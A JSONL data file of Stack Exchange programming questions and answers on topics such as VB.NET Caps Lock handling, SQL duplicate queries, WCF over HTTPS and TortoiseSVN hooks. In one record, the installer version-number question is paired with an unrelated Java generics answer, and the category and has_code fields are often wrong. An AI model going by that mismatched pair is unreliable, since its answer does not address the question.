{"id": "hf_2c417bc8d72d", "question": "<p>Using VB.NET, how do I toggle the state of Caps Lock?  </p>\n", "question_body": "", "answer": "From:\nhttp://www.vbforums.com/showthread.php?referrerid=61394&t=537891\n```\n```\nImports System.Runtime.InteropServices\n\nPublic Class Form2\n\n    Private Declare Sub keybd_event Lib \"user32\" ( _\n        ByVal bVk As Byte, _\n        ByVal bScan As Byte, _\n        ByVal dwFlags As Integer, _\n        ByVal dwExtraInfo As Integer _\n    )\n    Private Const VK_CAPITAL As Integer = &H14\n    Private Const KEYEVENTF_EXTENDEDKEY As Integer = &H1\n    Private Const KEYEVENTF_KEYUP As Integer = &H2\n\n    Private Sub Button1_Click( _\n        ByVal sender As System.Object, _\n        ByVal e As System.EventArgs _\n    ) Handles Button1.Click\n\n        ' Toggle CapsLock\n\n        ' Simulate the Key Press\n        keybd_event(VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0)\n\n        ' Simulate the Key Release\n        keybd_event(VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0)\n    End Sub\n\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.134599"}
{"id": "hf_651cfb238b1a", "question": "<p>I'm trying to get an event to fire whenever a choice is made from a <code>JComboBox</code>.</p>\n\n<p>The problem I'm having is that there is no obvious <code>addSelectionListener()</code> method.</p>\n\n<p>I've tried to use <code>actionPerformed()</code>, but it never fires.</p>\n\n<p>Short of overriding the model for the <code>JComboBox</code>, I'm out of ideas.</p>\n\n<p>How do I get notified of a selection change on a <code>JComboBox</code>?**</p>\n\n<p><strong>Edit:</strong> I have to apologize. It turns out I was using a misbehaving subclass of <code>JComboBox</code>, but I'll leave the question up since your answer is good.</p>\n", "question_body": "", "answer": "It should respond to\nActionListeners\n, like this:\n```\n```\ncombo.addActionListener (new ActionListener () {\n    public void actionPerformed(ActionEvent e) {\n        doSomething();\n    }\n});\n```\n```\n@John Calsbeek\nrightly points out that\n```\naddItemListener()\n```\nwill work, too.  You may get 2\n```\nItemEvents\n```\n, though, one for the deselection of the previously selected item, and another for the selection of the new item. Just don't use both event types!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.158819"}
{"id": "hf_b98a8896608d", "question": "<p>I'm starting to learn how to use PHPUnit to test the website I'm working on.  The problem I'm running into is that I have five different user types defined and I need to be able to test every class with the different types.  I currently have a user class and I would like to pass this to each function but I can't figure out how to pass this or test the different errors that could come back as being correct or not.</p>\n\n<p><b>Edit:</b> I should have said.  I have a user class and I want to pass a different instance of this class to each unit test. </p>\n", "question_body": "", "answer": "If you're looking to test the actual UI, you could try using something like Selenium (www.openqa.org). It lets you write the code in PHP (which I'm assuming would work with phpUnit) to drive the browser..\nAnother approach would be to have a common method that could be called by each test for your different user type. ie, something like 'ValidatePage', which you could then call from TestAdminUser or TestRegularUser and have the method simply perform the same basic validation of what you're expecting..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.195337"}
{"id": "hf_e66838ba6279", "question": "<p>How do I find out whether or not Caps Lock is activated, using VB.NET?</p>\n\n<p>This is a follow-up to my <a href=\"https://stackoverflow.com/questions/58937/how-do-i-toggle-caps-lock-in-vbnet\">earlier question</a>.</p>\n", "question_body": "", "answer": "I'm not an expert in VB.NET so only PInvoke comes to my mind:\n```\n```\nDeclare Function GetKeyState Lib \"user32\" \n   Alias \"GetKeyState\" (ByValnVirtKey As Int32) As Int16\n\nPrivate Const VK_CAPSLOCK = &H14\n\nIf GetKeyState(VK_CAPSLOCK) = 1 Then ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.219570"}
{"id": "hf_1b46d7b6d742", "question": "<p>The Interface Segregation Principle (ISP) says that many client specific interfaces are better than one general purpose interface. Why is this important?</p>\n", "question_body": "", "answer": "ISP states that:\nClients should not be forced to depend\n  on methods that they do not use.\nISP relates to important characteristics -\ncohesion\nand\ncoupling\n.\nIdeally your components must be highly tailored. It improves code robustness and maintainability.\nEnforcing ISP gives you following bonuses:\nHigh\ncohesion\n- better understandability, robustness\nLow\ncoupling\n- better maintainability, high resistance to changes\nIf you want to learn more about software design principles, get a copy\nof\nAgile Software Development, Principles, Patterns, and Practices\nbook.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.243543"}
{"id": "hf_831539993a84", "question": "<p>I'd like to automate TortoiseSVN as part of a commit process.\nSpecifically I'd like to dynamically create a log entry for the commit dialog.</p>\n\n<p>I know that I can launch the commit dialog either from the commandline or by right clicking on a folder and selecting svncommit.</p>\n\n<p>I'd like to use the start commit hook to setup a log entry.\nI thought this worked by passing an entry file name in the MESSAGEFILE variable but when I add a hook script it cannot see this variable (hook launched successfully after right clicking and choosing svncommit).</p>\n\n<p>When I try using the commandline I use the /logmsgfile parameter but it seems to have no effect.</p>\n\n<p>I'm using tortoisesvn 1.5.3.</p>\n", "question_body": "", "answer": "Looks like it was my own misunderstanding of the the API that caused by a problem.\nSolution:\n1)  I've added a start commit hook script to TortoiseSVN using the hooks gui in the settings area of the right click menu.\n2) The script receive 3 pieces of information:      PATH  MESSAGEFILE  CWD\nFor details see:\nManual\nThese are passed as command line arguements to the script - for some reason I had thought they were set as temporary environmental variables.\nMy script then simply opens the file specified by the second arguement and adds in the custom text.\nWhen the commit dialog comes up the custom text is there.\n3) Best of all if tortoisesvn is launched from a script directly into the commit dialog:\ne.g. [ tortoiseproc /command:commit /path:. /closeonend:1 ]\nThe hooks are still called.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.279781"}
{"id": "hf_87d3a62fba8a", "question": "<p>Question is pretty self explanitory. I want to do a simple find and replace, like you would in a text editor on the data in a column of my database (which is MsSQL on MS Windows server 2003)</p>\n", "question_body": "", "answer": "The following query replace each and every\n```\na\n```\ncharacter with a\n```\nb\n```\ncharacter.\n```\n```\nUPDATE \n    YourTable\nSET \n    Column1 = REPLACE(Column1,'a','b')\nWHERE \n    Column1 LIKE '%a%'\n```\n```\nThis will not work on SQL server 2003.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.344477"}
{"id": "hf_6fd3de105399", "question": "<p>How do I save each sheet in an Excel workbook to separate <code>CSV</code> files with a macro?</p>\n\n<p>I have an excel with multiple sheets and I was looking for a macro that will save each sheet to a separate <code>CSV (comma separated file)</code>. Excel will not allow you to save all sheets to different <code>CSV</code> files.</p>\n", "question_body": "", "answer": "And here's my solution should work with Excel > 2000, but tested only on 2007:\n```\n```\nPrivate Sub SaveAllSheetsAsCSV()\nOn Error GoTo Heaven\n\n' each sheet reference\nDim Sheet As Worksheet\n' path to output to\nDim OutputPath As String\n' name of each csv\nDim OutputFile As String\n\nApplication.ScreenUpdating = False\nApplication.DisplayAlerts = False\nApplication.EnableEvents = False\n\n' ask the user where to save\nOutputPath = InputBox(\"Enter a directory to save to\", \"Save to directory\", Path)\n\nIf OutputPath <> \"\" Then\n\n    ' save for each sheet\n    For Each Sheet In Sheets\n\n        OutputFile = OutputPath & \"\\\" & Sheet.Name & \".csv\"\n\n        ' make a copy to create a new book with this sheet\n        ' otherwise you will always only get the first sheet\n        Sheet.Copy\n        ' this copy will now become active\n        ActiveWorkbook.SaveAs FileName:=OutputFile, FileFormat:=xlCSV, CreateBackup:=False\n        ActiveWorkbook.Close\n    Next\n\nEnd If\n\nFinally:\nApplication.ScreenUpdating = True\nApplication.DisplayAlerts = True\nApplication.EnableEvents = True\n\nExit Sub\n\nHeaven:\nMsgBox \"Couldn't save all sheets to CSV.\" & vbCrLf & _\n        \"Source: \" & Err.Source & \" \" & vbCrLf & _\n        \"Number: \" & Err.Number & \" \" & vbCrLf & _\n        \"Description: \" & Err.Description & \" \" & vbCrLf\n\nGoTo Finally\nEnd Sub\n```\n```\n(OT: I wonder if SO will replace some of my minor blogging)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.369090"}
{"id": "hf_904ecbe8bdd1", "question": "<p>I am stress testing a .NET web application.  I did this for 2 reasons: I wanted to see what performance was like under real world conditions and also to make sure we hadn't missed any problems during testing. We had 30 concurrent users in the application using it as they would during the normal course of their jobs. Most users had multiple windows of the application open.</p>\n\n<ul>\n<li>10 Users: Not bad</li>\n<li>20 Users: Slowing down </li>\n<li>30 Users: Very, very slow but no timeouts</li>\n</ul>\n\n<p>It was loaded on the production server. It is a virtual server with a 2.66G Hz Xeon processor and 2 GB of RAM. We are using Win2K3 SP2. We have .NET 1.1 and 2.0 loaded and are using SQLExpress SP1.</p>\n\n<p>We rechecked the indexes on all of the tables afterword and they were all as they should be.</p>\n\n<p>How can we improve our application's performance?</p>\n", "question_body": "", "answer": "You may be running into concurrency issues, depending on how your application runs. Try performing your reads with the \"nolock\" keyword.\nTry adding in table aliases for your columns (and avoid the use of SELECT *), this helps out MSSQL, as it doesn't have to \"guess\" which table the columns come from.\nIf you aren't already, move to SPROCs, this allows MSSQL to index your data better for a given query's normal result set.\nTry following the execution plan of your SPROCS to ensure they are using the indexes you think they are.\nRun a trace against your database to see what the incoming requests look like. You may notice a particular SPROC is being run over and over: generally a good sign to cache the responses on the client if possible. (lookup lists, etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.394331"}
{"id": "hf_f5865f860e92", "question": "<p>Visually both of the following snippets produce the same UI. So why are there 2 controls..<br>\n<strong>Snippet1</strong>  </p>\n\n<pre><code>&lt;TextBlock&gt;Name:&lt;/TextBlock&gt;\n&lt;TextBox Name=\"nameTextBox\" /&gt;\n</code></pre>\n\n<p><strong>Snippet2</strong></p>\n\n<pre><code>&lt;Label&gt;Name:&lt;/Label&gt;\n&lt;TextBox Name=\"nameTextBox\" /&gt;\n</code></pre>\n\n<p>(<em>Well I am gonna answer this myself... thought this is a useful tidbit I learnt today from <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596510373\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Programming WPF</a></em>)  </p>\n", "question_body": "", "answer": "Label has an important\nfocus handling\nresponsibility.Its purpose is to allow you to place a caption with an access key. It has a\nTarget\nproperty, which indicates the target of the access key. Like this...\n```\n```\n<Label Target=\"{Binding ElementName=nameTextBox}\">_Name:</Label>\n<TextBox x:Name=\"nameTextBox\" />\n```\n```\nIn the absence of the Target property, the Label control does nothing useful. You'll just hear a beep if you press the access key indicating 'unable to process request'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.443791"}
{"id": "hf_365a9e173822", "question": "<p>Let's say that I'm writing a function to convert between temperature scales. I want to support at least Celsius, Fahrenheit, and Kelvin. Is it better to pass the source scale and target scale as separate parameters of the function, or some sort of combined parameter?</p>\n\n<p>Example 1 - separate parameters:\nfunction convertTemperature(\"celsius\", \"fahrenheit\", 22)</p>\n\n<p>Example 2 - combined parameter:\nfunction convertTemperature(\"c-f\", 22)</p>\n\n<p>The code inside the function is probably where it counts. With two parameters, the logic to determine what formula we're going to use is slightly more complicated, but a single parameter doesn't feel right somehow.</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "Go with the first option, but rather than allow literal strings (which are error prone), take constant values or an enumeration if your language supports it, like this:\n```\n```\nconvertTemperature (TempScale.CELSIUS, TempScale.FAHRENHEIT, 22)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.467959"}
{"id": "hf_d9aad565b24b", "question": "<p>I am getting this error now that I hit version number 1.256.0:\nError   4   Invalid product version '1.256.0'. Must be of format '##.##.####'</p>\n\n<p>The installer was fine with 1.255.0 but something with 256 (2^8) it doesn't like.  I found this stated on msdn.com:\nThe Version property must be formatted as N.N.N, where each N represents at least one and no more than four digits. (<a href=\"http://msdn.microsoft.com/en-us/library/d3ywkte8(VS.80).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/d3ywkte8(VS.80).aspx</a>)</p>\n\n<p>Which would make me believe there is nothing wrong 1.256.0 because it meets the rules stated above.</p>\n\n<p>Does anyone have any ideas on why this would be failing now?</p>\n", "question_body": "", "answer": "Change it to:\n```\n```\nprotected static <T extends Comparable<T>> int nullCompare(T o1, T o2) {\n```\n```\nYou need that because Comparable is itself a generic type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.515949"}
{"id": "hf_2033abb6489e", "question": "<p>Is there any way to enforce a template in Bugzilla to guide users fill in bugs descriptions ?</p>\n\n<p>Actually, i'd like to put some markup texts in the bug description field and avoid the creation of custom fields.</p>\n\n<p>I've installed version 3.2rc1.</p>\n", "question_body": "", "answer": "The mechansism described under\n6.2.5 Particular Templates\n(under the section called bug/create/create.html.tmpl and bug/create/comment.txt.tmpl) works pretty well for us.  Even though you say you don't want to create custom fields, adding some arbitrary HTML is easy enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.580086"}
{"id": "hf_5af50e232612", "question": "<p>Which <strong>standalone Windows GUI application</strong> do you recommend for use for accessing a Subversion repository?</p>\n\n<p>Edit: A lot of people are mentioning Tortoise, however I am looking for an application not a shell extension.  Also people are questioning my reasoning behind not wanting to use a shell extension.  In our environment we rather interact with the repository (when not using an IDE plugin) through a management application and not navigate the files through Windows Explorer.</p>\n", "question_body": "", "answer": "TortoiseSVN\nFrom their website:\nA Subversion client, implemented as a windows shell extension.\nTortoiseSVN is a really easy to use Revision control / version control\n  / source control software for Windows. Since it's not an integration\n  for a specific IDE you can use it with whatever development tools you\n  like. TortoiseSVN is free to use. You don't need to get a loan or pay\n  a full years salary to use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.604269"}
{"id": "hf_3dcd9b93c8cd", "question": "<p>When I press F5 in Visual Studio 2008, I want Google Chrome launched as the browser that my ASP.NET app runs in. May I know how this can be done?</p>\n", "question_body": "", "answer": "Right click on an .aspx file and click \"Browse with...\" then select Chrome and click \"Set as Default.\" You can select more than one browser in the list if you want.\nThere's also this really great\nWoVS Default Browser Switcher Visual Studio extension\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.628101"}
{"id": "hf_1488665969c7", "question": "<p>So I have an object which has some fields, doesn't really matter what.\nI have a generic list of these objects.</p>\n<pre><code>List&lt;MyObject&gt; myObjects = new List&lt;MyObject&gt;();\nmyObjects.Add(myObject1);\nmyObjects.Add(myObject2);\nmyObjects.Add(myObject3);\n</code></pre>\n<p>So I want to remove objects from my list based on some criteria.\nFor instance, <code>myObject.X &gt;= 10.</code>\nI would like to use the <code>RemoveAll(Predicate&lt;T&gt; match)</code> method for to do this.</p>\n<p>I know I can define a delegate which can be passed into RemoveAll, but I would like to know how to define this inline with an anonymous delegate, instead of creating a bunch of delegate functions which are only used in once place.</p>\n", "question_body": "", "answer": "There's two options, an explicit delegate or a delegate disguised as a lamba construct:\nexplicit delegate\n```\n```\nmyObjects.RemoveAll(delegate (MyObject m) { return m.X >= 10; });\n```\n```\nlambda\n```\n```\nmyObjects.RemoveAll(m => m.X >= 10);\n```\n```\nPerformance wise both are equal. As a matter of fact, both language constructs generate the same IL when compiled. This is because C# 3.0 is basically an extension on C# 2.0, so it compiles to C# 2.0 constructs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.650873"}
{"id": "hf_85ff38f5051b", "question": "<p>What's the difference between the inner workings of Java's JVM and .NET's CLR?</p>\n\n<p>Perhaps a starting point would be, are they basically the same thing in their respective environments (Java > JVM > Machine code) (C# > CLR > IL).</p>\n\n<hr>\n\n<p><strong>Update:</strong>  Several people have alluded to the points I was trying to cover:</p>\n\n<ol>\n<li>Garbage Collection </li>\n<li>Boxing/Unboxing</li>\n<li>JIT debugging </li>\n<li>Generics/Templates</li>\n<li>Please feel free to suggest other good topics that differentiate the two.</li>\n</ol>\n\n<p><a href=\"https://stackoverflow.com/users/5056/george-mauer\">@George Mauer</a> - this sounds very interesting:</p>\n\n<blockquote>\n  <p>Already posted this once but here is a <a href=\"http://www.artima.com/intv/anders.html\" rel=\"nofollow noreferrer\">series of interviews</a> with c# chief language designer Anders Hejlsberg. </p>\n</blockquote>\n", "question_body": "", "answer": "From\nhere\n. I couldn't have said it better (Well, with the exception of a flame war, this is a flameless place :-) ).\nHello,\nResponding to your question seems\n  fraught with peril by starting a flame\n  war, so I'll proceed cautiously.\nThere are a number of fundamental\n  technical similarities between the\n  Java Runtime and the Common Language\n  Runtime, including garbage collected\n  memory, an intermediate language\n  (Microsoft IL versus Java ByteCode),\n  core system libraries, and support for\n  fairly high level languages, code\n  security, and deployment.\nHowever, each of these 'similar' areas\n  also have a number of sizable and\n  small differences, and it's beyond the\n  scope of a simple Forum post to\n  describe most of them.\nI would suggest asking a more\n  targetted question about any of the\n  various runtime features and component\n  areas (e.g. memory management,\n  compilation, system libraries,\n  security, etc.) and then we can\n  provide a more targetted response\n  (e.g. a blog, a technical article, or\n  some books).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.674626"}
{"id": "hf_d61e553febe5", "question": "<p>I have a WCF service that gets called from client side JavaScript. The call fails with a Service is null JavaScript error. WebDevelopment helper trace shows that the calls to load the jsdebug support file results in a 404 (file not found) error. </p>\n\n<p>Restarting IIS or clearing out the Temp ASP.Net files or setting batch=\"false\" on the compilation tag in web.config does not resolve the problem</p>\n\n<p>From the browser </p>\n\n<p><a href=\"https://Myserver/MyApp/Services/MyService.svc\" rel=\"nofollow noreferrer\">https://Myserver/MyApp/Services/MyService.svc</a> displays the service metadata</p>\n\n<p>however </p>\n\n<p><a href=\"https://Myserver/MyApp/Services/MyService.svc/jsdebug\" rel=\"nofollow noreferrer\">https://Myserver/MyApp/Services/MyService.svc/jsdebug</a> results in a 404.</p>\n\n<p>The issue seems to be with the https protocol. With http /jsdebug downloads the supporting JS file.</p>\n\n<p>Any ideas?</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "Figured it out!\nHere is the services configuration section from web.config\nLook at the bindingConfiguration attribute on the endpoint. The value \"webBinding\" points to the binding name=\"webBinding\" tag in the bindings and that is what tells the service to use Transport level security it HTTPS. In my case the attribute value was empty causing the webservice request to the /js or /jsdebug file over HTTPS to fail and throw a 404 error.\n```\n```\n<services>\n      <service name=\"MyService\">\n        <endpoint address=\"\" behaviorConfiguration=\"MyServiceAspNetAjaxBehavior\" binding=\"webHttpBinding\" bindingConfiguration=\"webBinding\" contract=\"Services.MyService\" />\n      </service>\n    </services>\n    <bindings>\n      <webHttpBinding>\n        <binding name=\"webBinding\">\n          <security mode=\"Transport\">\n          </security>\n        </binding>\n      </webHttpBinding>\n    </bindings>\n```\n```\nNote that the bindingConfiguration attribute should be empty (\"\") if the service is accessed via http instead of https (when testing on local machine with no certs)\nHope this helps someone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.699304"}
{"id": "hf_6db5f331b4bd", "question": "<p>What is the best way to keep an asp:button from displaying it's URL on the status bar of the browser?  The button is currently defines like this:</p>\n\n<pre><code>&lt;asp:button id=\"btnFind\" \n            runat=\"server\" \n            Text=\"Find Info\" \n            onclick=\"btnFind_Click\"&gt;\n&lt;/asp:button&gt;\n</code></pre>\n\n<p><strong>Update:</strong></p>\n\n<p>This appears to be specific to IE7,  IE6 and FF do not show the URL in the status bar.</p>\n", "question_body": "", "answer": "I use FF so never noticed this, but the link does in fact appear in the status bar in IE..\nI dont think you can overwrite it :( I initially thought maybe setting the ToolTip (al la \"title\") property might do it.. Seems it does not..\nLooking at the source, what appears is nowhere to be found, so I would say this is a\nbrowser\nissue, I don't think you can do anything in code.. :(\nUpdate\nYeah, Looks like IE always posts whatever the form action is.. Can't see a way to override it, as yet..\nPerhaps try explicitly setting it via JS?\nUpdate II\nDone some more Googleing. Don't think there really is a \"nice\" way of doing it.. Unless you remove the form all together and post data some other way..\nIs it really worth that much? Generally this just tends to be the page name?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.723340"}
{"id": "hf_bfbfbcabcef1", "question": "<p>I am using ActiveScaffold in a Ruby on Rails app, and to save space in the table I have replaced the default \"actions\" text in the table (ie. \"edit\", \"delete\", \"show\") with icons using CSS. I have also added a couple of custom actions with action_link.add (\"move\" and \"copy\").</p>\n\n<p>For clarity, <strong>I would like to have a tooltip pop up with the related action</strong> (ie. \"edit\", \"copy\") when I hover the mouse over the icon.</p>\n\n<p>I thought I could do this by adding a simple \"alt\" definition to the  tag, but that doesn't appear to work.</p>\n\n<p>Can somebody point me in the right direction?</p>\n", "question_body": "", "answer": "Tooltips in HTML are the contents of the\n```\nalt\n```\ntext for image tags, but if you're setting this using CSS you probably have a\n```\nbackground:url(...);\n```\nstyle instead of an image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.844290"}
{"id": "hf_f790b33f5264", "question": "<p>What's the simplest SQL statement that will return the duplicate values for a given column and the count of their occurrences in an Oracle database table?</p>\n\n<p>For example: I have a <code>JOBS</code> table with the column <code>JOB_NUMBER</code>.  How can I find out if I have any duplicate <code>JOB_NUMBER</code>s, and how many times they're duplicated?</p>\n", "question_body": "", "answer": "Aggregate the column by COUNT, then use a HAVING clause to find values that appear greater than one time.\n```\n```\nSELECT column_name, COUNT(column_name)\nFROM table_name\nGROUP BY column_name\nHAVING COUNT(column_name) > 1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.868808"}
{"id": "hf_e63eb2093d59", "question": "<p>Starting from ASP.NET MVC Preview 3, HTML.Button ( and other related HTML controls) are no  longer supported.</p>\n\n<p>The question is, what is the equivalent for them? I've an app that was built using Preview 2, now I have to make it compatible with the latest CTP releases.</p>\n", "question_body": "", "answer": "Just write\n```\n<input type=\"button\" ... />\n```\ninto your html.  There's nothing special at all with the html controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.893157"}
{"id": "hf_5a811f8f5c09", "question": "<p>I'm trying to create a standard way of rolling out web applications for our company.  Currently we do it with zip files, vbscript/javascript, and manual some steps.  </p>\n\n<p>For thick client installs we generate MSI installers using Wise/Wix.  We don't create installers currently for websites as in general they are just xcopy deploy.  However we have some config files that need to be changed, verify that certain handlers are registered in IIS...  The list goes on.</p>\n\n<p>Do most people use MSI installers for web applications as well, or some other tool/scripting language?</p>\n", "question_body": "", "answer": "You may want to look at:\nHow do I get a deployable output from a build script with ASP.NET\nStep by Step ASP.NET Automated Build/Deploy\nWe use MSI to create basic installers for our web projects too, often using the Web Setup Projects in VS and sometimes completely custom installers. You may also want to look at\nMSDeploy\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.917112"}
{"id": "hf_02f780b27c82", "question": "<p>I need to update a <code>combobox</code> with a new value so it changes the reflected text in it. The cleanest way to do this is after the <code>combobox</code>has been initialised and with a message.</p>\n\n<p>So I am trying to craft a <code>postmessage</code> to the hwnd that contains the <code>combobox</code>.</p>\n\n<p>So if I want to send a message to it, changing the currently selected item to the nth item, what would the <code>postmessage</code> look like?</p>\n\n<p>I am guessing that it would involve <code>ON_CBN_SELCHANGE</code>, but I can't get it to work right.</p>\n", "question_body": "", "answer": "You want\nComboBox_SetCurSel\n:\n```\n```\nComboBox_SetCurSel(hWndCombo, n);\n```\n```\nor if it's an MFC CComboBox control you can probably do:\n```\n```\nm_combo.SetCurSel(2);\n```\n```\nI would imagine if you're doing it manually you would also want SendMessage rather than PostMessage. CBN_SELCHANGE is the notification that the control sends\nback to you\nwhen the selection is changed.\nFinally, you might want to add the c++ tag to this question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.941819"}
{"id": "hf_d685b8157afc", "question": "<p>I have the following query:</p>\n\n<pre><code>select column_name, count(column_name)\nfrom table\ngroup by column_name\nhaving count(column_name) &gt; 1;\n</code></pre>\n\n<p>What would be the difference if I replaced all calls to <code>count(column_name)</code> to <code>count(*)</code>?</p>\n\n<p>This question was inspired by <a href=\"https://stackoverflow.com/questions/59232/how-do-i-find-duplicate-values-in-a-table-in-oracle\">How do I find duplicate values in a table in Oracle?</a>.</p>\n\n<hr>\n\n<p>To clarify the accepted answer (and maybe my question), replacing <code>count(column_name)</code> with <code>count(*)</code> would return an extra row in the result that contains a <code>null</code> and the count of <code>null</code> values in the column.</p>\n", "question_body": "", "answer": "```\ncount(*)\n```\ncounts NULLs and\n```\ncount(column)\n```\ndoes not\n[edit] added this code so that people can run it\n```\n```\ncreate table #bla(id int,id2 int)\ninsert #bla values(null,null)\ninsert #bla values(1,null)\ninsert #bla values(null,1)\ninsert #bla values(1,null)\ninsert #bla values(null,1)\ninsert #bla values(1,null)\ninsert #bla values(null,null)\n\nselect count(*),count(id),count(id2)\nfrom #bla\n```\n```\nresults\n7   3   2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.966584"}
